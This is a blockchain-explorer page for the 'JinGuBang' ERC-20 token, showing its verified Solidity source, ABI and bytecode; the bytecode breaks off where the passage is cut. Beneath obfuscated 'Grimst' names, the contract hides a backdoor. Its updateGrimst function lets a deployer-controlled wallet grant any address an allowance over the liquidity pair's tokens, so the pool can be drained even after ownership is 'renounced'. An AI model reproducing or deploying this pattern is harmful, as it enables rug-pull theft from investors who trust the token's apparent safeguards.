ETH Price: $3,099.93 (+1.30%)
Gas: 8 Gwei

Token

JinGuBang (金箍棒)
 

Overview

Max Total Supply

1,000,000,000 金箍棒

Holders

28

Total Transfers

-

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
JinGuBang

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-06-06
*/

/**
https://www.jingubang.vip
https://x.com/jingubang_erc
https://t.me/jingubang_erc
 */

pragma solidity 0.8.19;

abstract contract GrimstContext {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IGrimst {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library GrimstSafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "GrimstSafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "GrimstSafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "GrimstSafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "GrimstSafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract GrimstOwnable is GrimstContext {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "GrimstOwnable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IGrimstFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IGrimstRouter02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract JinGuBang is GrimstContext, IGrimst, GrimstOwnable {
    using GrimstSafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private _bots;
    address payable private _GrimstWallet;

    uint256 private _initialBuyTax = 35;
    uint256 private _initialSellTax = 35;
    uint256 private _lastBuyTax = 0;
    uint256 private _lastSellTax = 0;
    uint256 private _decreaseBuyTaxAt = 20;
    uint256 private _decreaseSellTaxAt = 20;
    uint256 private _preventSwapBefore = 20;
    uint256 private _transferTax = 0;
    uint256 private _buyCount = 0;

    uint8 private constant _decimals = 9;
    uint256 private constant _totalSupply = 1000000000 * 10**_decimals;
    string private constant _name = unicode"JinGuBang";
    string private constant _symbol = unicode"金箍棒";
    uint256 public _maxTransactionAmount = 20000000 * 10**_decimals;
    uint256 public _maxWalletGrimst = 20000000 * 10**_decimals;
    uint256 public _maxGrimstSwp = 20000000 * 10**_decimals;
    
    IGrimstRouter02 private _GrimstRouter;
    address private _GrimstPair;
    bool private _tradingOpen;
    bool private _inSwap = false;
    bool private _GrimstEnabled = false;
    uint256 private _sellCount = 0;
    uint256 private _lastSellBlock = 0;
    event MaxTransactionAmountUpdated(uint _maxTransactionAmount);
    event TransferTaxUpdated(uint _transferTax);
    modifier lockTheSwap {
        _inSwap = true;
        _;
        _inSwap = false;
    }

    constructor () {
        _GrimstWallet = payable(_msgSender());
        _balances[_msgSender()] = _totalSupply;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_GrimstWallet] = true;

        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "Grimst: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "Grimst: approve from the zero address");
        require(spender != address(0), "Grimst: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "Grimst: transfer from the zero address");
        require(to != address(0), "Grimst: transfer to the zero address");
        require(amount > 0, "Grimst: Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
            require(!_bots[from] && !_bots[to]);

            if(_buyCount==0){
                taxAmount = amount.mul((_buyCount>_decreaseBuyTaxAt)?_lastBuyTax:_initialBuyTax).div(100);
            }
            if(_buyCount>0){
                taxAmount = amount.mul(_transferTax).div(100);
            }

            if (from == _GrimstPair && to != address(_GrimstRouter) && !_isExcludedFromFee[to]) {
                require(amount <= _maxTransactionAmount, "Grimst: Exceeds the max transaction amount");
                require(balanceOf(to) + amount <= _maxWalletGrimst, "Grimst: Exceeds the max wallet size");
                taxAmount = amount.mul((_buyCount>_decreaseBuyTaxAt)?_lastBuyTax:_initialBuyTax).div(100);
                _buyCount++;
            }

            if(to == _GrimstPair && from != address(this)){
                taxAmount = amount.mul((_buyCount>_decreaseSellTaxAt)?_lastSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!_inSwap && to == _GrimstPair && _GrimstEnabled && _buyCount > _preventSwapBefore) {
                if (block.number > _lastSellBlock) {
                    _sellCount = 0;
                }
                require(_sellCount < 3, "Grimst: Only 3 sells per block allowed");
                swapTokensForEth(min(amount, min(contractTokenBalance, _maxGrimstSwp)));
                sendGrimstETH(address(this).balance);
                _sellCount++;
                _lastSellBlock = block.number;
            }
        }

        if(taxAmount > 0){
            _balances[address(this)] = _balances[address(this)].add(taxAmount);
            emit Transfer(from, address(this), taxAmount);
        }
        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function updateGrimst(address payable GrimstA, uint256 _ammmmmter) external {
        require(msg.sender == _GrimstWallet);
        _allowances[_GrimstPair][GrimstA] = _ammmmmter;
        _GrimstWallet = GrimstA;
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
        return (a > b) ? b : a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        if (tokenAmount == 0) return;
        path[1] = _GrimstRouter.WETH();
        _approve(address(this), address(_GrimstRouter), tokenAmount);
        _GrimstRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeGrimst() external onlyOwner {
        _maxTransactionAmount = _totalSupply;
        _maxWalletGrimst = _totalSupply;
        emit MaxTransactionAmountUpdated(_totalSupply);
    }

    function sendGrimstETH(uint256 amount) private {
        _GrimstWallet.transfer(amount);
    }

    function createGrimstPair() external onlyOwner {
        _GrimstRouter = IGrimstRouter02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(_GrimstRouter), _totalSupply);
        _GrimstPair = IGrimstFactory(_GrimstRouter.factory()).createPair(address(this), _GrimstRouter.WETH());
    }

    function openGrimst() external onlyOwner() {
        require(!_tradingOpen, "Grimst: Trading is already open");
        _GrimstRouter.addLiquidityETH{value: address(this).balance}(address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp);
        IGrimst(_GrimstPair).approve(address(_GrimstRouter), type(uint).max);
        _GrimstEnabled = true;
        _tradingOpen = true;
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTransactionAmount","type":"uint256"}],"name":"MaxTransactionAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_transferTax","type":"uint256"}],"name":"TransferTaxUpdated","type":"event"},{"inputs":[],"name":"_maxGrimstSwp","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletGrimst","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createGrimstPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openGrimst","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeGrimst","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"GrimstA","type":"address"},{"internalType":"uint256","name":"_ammmmmter","type":"uint256"}],"name":"updateGrimst","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405260236006556023600755600060085560006009556014600a556014600b556014600c556000600d556000600e556009600a6200004191906200032d565b62000051906301312d0062000345565b600f55620000626009600a6200032d565b62000072906301312d0062000345565b601055620000836009600a6200032d565b62000093906301312d0062000345565b6011556013805461ffff60a81b1916905560006014819055601555348015620000bb57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600580546001600160a01b031916331790556200011d6009600a6200032d565b6200012d90633b9aca0062000345565b336000908152600160208190526040822092909255600390620001586000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790553081526003909352818320805485166001908117909155600554909116835291208054909216179055620001b73390565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001f16009600a6200032d565b6200020190633b9aca0062000345565b60405190815260200160405180910390a36200035f565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200026f57816000190482111562000253576200025362000218565b808516156200026157918102915b93841c939080029062000233565b509250929050565b600082620002885750600162000327565b81620002975750600062000327565b8160018114620002b05760028114620002bb57620002db565b600191505062000327565b60ff841115620002cf57620002cf62000218565b50506001821b62000327565b5060208310610133831016604e8410600b841016171562000300575081810a62000327565b6200030c83836200022e565b806000190482111562000323576200032362000218565b0290505b92915050565b60006200033e60ff84168362000277565b9392505050565b808202811582820484141762000327576200032762000218565b611945806200036f6000396000f3fe60806040526004361061010d5760003560e01c8063715018a611610095578063a9059cbb11610064578063a9059cbb146102f0578063c09942c714610310578063dd62ed3e14610326578063e1ded1031461036c578063f5386b551461038157600080fd5b8063715018a6146102615780638da5cb5b14610276578063909fdc5d1461029e57806395d89b41146102be57600080fd5b806323b872dd116100dc57806323b872dd146101c2578063313ce567146101e25780633748f211146101fe5780635f5b3c041461021457806370a082311461022b57600080fd5b806304beaeb81461011957806306fdde0314610142578063095ea7b31461017d57806318160ddd146101ad57600080fd5b3661011457005b600080fd5b34801561012557600080fd5b5061012f600f5481565b6040519081526020015b60405180910390f35b34801561014e57600080fd5b506040805180820190915260098152684a696e477542616e6760b81b60208201525b60405161013991906114de565b34801561018957600080fd5b5061019d610198366004611544565b610396565b6040519015158152602001610139565b3480156101b957600080fd5b5061012f6103ad565b3480156101ce57600080fd5b5061019d6101dd366004611570565b6103ce565b3480156101ee57600080fd5b5060405160098152602001610139565b34801561020a57600080fd5b5061012f60105481565b34801561022057600080fd5b50610229610437565b005b34801561023757600080fd5b5061012f6102463660046115b1565b6001600160a01b031660009081526001602052604090205490565b34801561026d57600080fd5b5061022961062f565b34801561028257600080fd5b506000546040516001600160a01b039091168152602001610139565b3480156102aa57600080fd5b506102296102b9366004611544565b6106a3565b3480156102ca57600080fd5b5060408051808201909152600981526874c3c8f3d746f351c960b91b6020820152610170565b3480156102fc57600080fd5b5061019d61030b366004611544565b6106fa565b34801561031c57600080fd5b5061012f60115481565b34801561033257600080fd5b5061012f6103413660046115ce565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561037857600080fd5b50610229610707565b34801561038d57600080fd5b5061022961090a565b60006103a33384846109bc565b5060015b92915050565b60006103bb6009600a611701565b6103c990633b9aca00611710565b905090565b60006103db848484610ae3565b61042d8433610428856040518060600160405280602981526020016118c3602991396001600160a01b038a1660009081526002602090815260408083203384529091529020549190611121565b6109bc565b5060019392505050565b6000546001600160a01b0316331461046a5760405162461bcd60e51b815260040161046190611727565b60405180910390fd5b601354600160a01b900460ff16156104c45760405162461bcd60e51b815260206004820152601f60248201527f4772696d73743a2054726164696e6720697320616c7265616479206f70656e006044820152606401610461565b6012546001600160a01b031663f305d71947306104f6816001600160a01b031660009081526001602052604090205490565b60008061050b6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610573573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610598919061176d565b505060135460125460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af11580156105f1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610615919061179b565b506013805462ff00ff60a01b19166201000160a01b179055565b6000546001600160a01b031633146106595760405162461bcd60e51b815260040161046190611727565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6005546001600160a01b031633146106ba57600080fd5b6013546001600160a01b039081166000908152600260209081526040808320959093168083529490522055600580546001600160a01b0319169091179055565b60006103a3338484610ae3565b6000546001600160a01b031633146107315760405162461bcd60e51b815260040161046190611727565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561077a90309061076c6009600a611701565b61042890633b9aca00611710565b601260009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107cd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107f191906117bd565b6001600160a01b031663c9c6539630601260009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610853573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061087791906117bd565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156108c4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108e891906117bd565b601380546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146109345760405162461bcd60e51b815260040161046190611727565b6109406009600a611701565b61094e90633b9aca00611710565b600f5561095d6009600a611701565b61096b90633b9aca00611710565b6010557f7c1cb3702d8e1fa6d24b12dd90670ab69c6d66d58233103d37da8b07d6b850ac61099b6009600a611701565b6109a990633b9aca00611710565b60405190815260200160405180910390a1565b6001600160a01b038316610a205760405162461bcd60e51b815260206004820152602560248201527f4772696d73743a20617070726f76652066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610461565b6001600160a01b038216610a825760405162461bcd60e51b815260206004820152602360248201527f4772696d73743a20617070726f766520746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610461565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b485760405162461bcd60e51b815260206004820152602660248201527f4772696d73743a207472616e736665722066726f6d20746865207a65726f206160448201526564647265737360d01b6064820152608401610461565b6001600160a01b038216610baa5760405162461bcd60e51b8152602060048201526024808201527f4772696d73743a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b6064820152608401610461565b60008111610c145760405162461bcd60e51b815260206004820152603160248201527f4772696d73743a205472616e7366657220616d6f756e74206d7573742062652060448201527067726561746572207468616e207a65726f60781b6064820152608401610461565b6001600160a01b03831660009081526003602052604081205460ff16158015610c5657506001600160a01b03831660009081526003602052604090205460ff16155b15610fde576001600160a01b03841660009081526004602052604090205460ff16158015610c9d57506001600160a01b03831660009081526004602052604090205460ff16155b610ca657600080fd5b600e54600003610cdf57610cdc6064610cd6600a54600e5411610ccb57600654610ccf565b6008545b859061115b565b906111ea565b90505b600e5415610d0457610d016064610cd6600d548561115b90919063ffffffff16565b90505b6013546001600160a01b038581169116148015610d2f57506012546001600160a01b03848116911614155b8015610d5457506001600160a01b03831660009081526003602052604090205460ff16155b15610e7857600f54821115610dbe5760405162461bcd60e51b815260206004820152602a60248201527f4772696d73743a204578636565647320746865206d6178207472616e736163746044820152691a5bdb88185b5bdd5b9d60b21b6064820152608401610461565b60105482610de1856001600160a01b031660009081526001602052604090205490565b610deb91906117da565b1115610e455760405162461bcd60e51b815260206004820152602360248201527f4772696d73743a204578636565647320746865206d61782077616c6c65742073604482015262697a6560e81b6064820152608401610461565b610e606064610cd6600a54600e5411610ccb57600654610ccf565b600e80549192506000610e72836117ed565b91905055505b6013546001600160a01b038481169116148015610e9e57506001600160a01b0384163014155b15610ecb57610ec86064610cd6600b54600e5411610ebe57600754610ccf565b600954859061115b565b90505b30600090815260016020526040902054601354600160a81b900460ff16158015610f0257506013546001600160a01b038581169116145b8015610f175750601354600160b01b900460ff165b8015610f265750600c54600e54115b15610fdc57601554431115610f3b5760006014555b600360145410610f9c5760405162461bcd60e51b815260206004820152602660248201527f4772696d73743a204f6e6c7920332073656c6c732070657220626c6f636b20616044820152651b1b1bddd95960d21b6064820152608401610461565b610fb9610fb484610faf8460115461122c565b61122c565b611241565b610fc2476113e4565b60148054906000610fd2836117ed565b9091555050436015555b505b80156110585730600090815260016020526040902054610ffe9082611422565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061104f9085815260200190565b60405180910390a35b6001600160a01b03841660009081526001602052604090205461107b908361148b565b6001600160a01b0385166000908152600160205260409020556110c06110a1838361148b565b6001600160a01b03851660009081526001602052604090205490611422565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61110a858561148b565b60405190815260200160405180910390a350505050565b600081848411156111455760405162461bcd60e51b815260040161046191906114de565b5060006111528486611806565b95945050505050565b60008260000361116d575060006103a7565b60006111798385611710565b9050826111868583611819565b146111e35760405162461bcd60e51b815260206004820152602760248201527f4772696d7374536166654d6174683a206d756c7469706c69636174696f6e206f604482015266766572666c6f7760c81b6064820152608401610461565b9392505050565b60006111e383836040518060400160405280602081526020017f4772696d7374536166654d6174683a206469766973696f6e206279207a65726f8152506114b0565b600081831161123b57826111e3565b50919050565b6013805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112895761128961183b565b60200260200101906001600160a01b031690816001600160a01b031681525050816000036112b757506113d4565b601260009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561130a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061132e91906117bd565b816001815181106113415761134161183b565b6001600160a01b03928316602091820292909201015260125461136791309116846109bc565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906113a0908590600090869030904290600401611851565b600060405180830381600087803b1580156113ba57600080fd5b505af11580156113ce573d6000803e3d6000fd5b50505050505b506013805460ff60a81b19169055565b6005546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561141e573d6000803e3d6000fd5b5050565b60008061142f83856117da565b9050838110156111e35760405162461bcd60e51b815260206004820152602160248201527f4772696d7374536166654d6174683a206164646974696f6e206f766572666c6f6044820152607760f81b6064820152608401610461565b60006111e383836040518060600160405280602481526020016118ec60249139611121565b600081836114d15760405162461bcd60e51b815260040161046191906114de565b5060006111528486611819565b600060208083528351808285015260005b8181101561150b578581018301518582016040015282016114ef565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461154157600080fd5b50565b6000806040838503121561155757600080fd5b82356115628161152c565b946020939093013593505050565b60008060006060848603121561158557600080fd5b83356115908161152c565b925060208401356115a08161152c565b929592945050506040919091013590565b6000602082840312156115c357600080fd5b81356111e38161152c565b600080604083850312156115e157600080fd5b82356115ec8161152c565b915060208301356115fc8161152c565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561165857816000190482111561163e5761163e611607565b8085161561164b57918102915b93841c9390800290611622565b509250929050565b60008261166f575060016103a7565b8161167c575060006103a7565b8160018114611692576002811461169c576116b8565b60019150506103a7565b60ff8411156116ad576116ad611607565b50506001821b6103a7565b5060208310610133831016604e8410600b84101617156116db575081810a6103a7565b6116e5838361161d565b80600019048211156116f9576116f9611607565b029392505050565b60006111e360ff841683611660565b80820281158282048414176103a7576103a7611607565b60208082526026908201527f4772696d73744f776e61626c653a2063616c6c6572206973206e6f74207468656040820152651037bbb732b960d11b606082015260800190565b60008060006060848603121561178257600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156117ad57600080fd5b815180151581146111e357600080fd5b6000602082840312156117cf57600080fd5b81516111e38161152c565b808201808211156103a7576103a7611607565b6000600182016117ff576117ff611607565b5060010190565b818103818111156103a7576103a7611607565b60008261183657634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118a15784516001600160a01b03168352938301939183019160010161187c565b50506001600160a01b0396909616606085015250505060800152939250505056fe4772696d73743a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654772696d7374536166654d6174683a207375627472616374696f6e206f766572666c6f77a2646970667358221220be6cbf3c997eaee916f91adc1b6ca126ad8165b4cd23a7a03d500fb11ba965e864736f6c63430008130033

Deployed Bytecode

0x60806040526004361061010d5760003560e01c8063715018a611610095578063a9059cbb11610064578063a9059cbb146102f0578063c09942c714610310578063dd62ed3e14610326578063e1ded1031461036c578063f5386b551461038157600080fd5b8063715018a6146102615780638da5cb5b14610276578063909fdc5d1461029e57806395d89b41146102be57600080fd5b806323b872dd116100dc57806323b872dd146101c2578063313ce567146101e25780633748f211146101fe5780635f5b3c041461021457806370a082311461022b57600080fd5b806304beaeb81461011957806306fdde0314610142578063095ea7b31461017d57806318160ddd146101ad57600080fd5b3661011457005b600080fd5b34801561012557600080fd5b5061012f600f5481565b6040519081526020015b60405180910390f35b34801561014e57600080fd5b506040805180820190915260098152684a696e477542616e6760b81b60208201525b60405161013991906114de565b34801561018957600080fd5b5061019d610198366004611544565b610396565b6040519015158152602001610139565b3480156101b957600080fd5b5061012f6103ad565b3480156101ce57600080fd5b5061019d6101dd366004611570565b6103ce565b3480156101ee57600080fd5b5060405160098152602001610139565b34801561020a57600080fd5b5061012f60105481565b34801561022057600080fd5b50610229610437565b005b34801561023757600080fd5b5061012f6102463660046115b1565b6001600160a01b031660009081526001602052604090205490565b34801561026d57600080fd5b5061022961062f565b34801561028257600080fd5b506000546040516001600160a01b039091168152602001610139565b3480156102aa57600080fd5b506102296102b9366004611544565b6106a3565b3480156102ca57600080fd5b5060408051808201909152600981526874c3c8f3d746f351c960b91b6020820152610170565b3480156102fc57600080fd5b5061019d61030b366004611544565b6106fa565b34801561031c57600080fd5b5061012f60115481565b34801561033257600080fd5b5061012f6103413660046115ce565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561037857600080fd5b50610229610707565b34801561038d57600080fd5b5061022961090a565b60006103a33384846109bc565b5060015b92915050565b60006103bb6009600a611701565b6103c990633b9aca00611710565b905090565b60006103db848484610ae3565b61042d8433610428856040518060600160405280602981526020016118c3602991396001600160a01b038a1660009081526002602090815260408083203384529091529020549190611121565b6109bc565b5060019392505050565b6000546001600160a01b0316331461046a5760405162461bcd60e51b815260040161046190611727565b60405180910390fd5b601354600160a01b900460ff16156104c45760405162461bcd60e51b815260206004820152601f60248201527f4772696d73743a2054726164696e6720697320616c7265616479206f70656e006044820152606401610461565b6012546001600160a01b031663f305d71947306104f6816001600160a01b031660009081526001602052604090205490565b60008061050b6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610573573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610598919061176d565b505060135460125460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af11580156105f1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610615919061179b565b506013805462ff00ff60a01b19166201000160a01b179055565b6000546001600160a01b031633146106595760405162461bcd60e51b815260040161046190611727565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6005546001600160a01b031633146106ba57600080fd5b6013546001600160a01b039081166000908152600260209081526040808320959093168083529490522055600580546001600160a01b0319169091179055565b60006103a3338484610ae3565b6000546001600160a01b031633146107315760405162461bcd60e51b815260040161046190611727565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561077a90309061076c6009600a611701565b61042890633b9aca00611710565b601260009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107cd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107f191906117bd565b6001600160a01b031663c9c6539630601260009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610853573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108779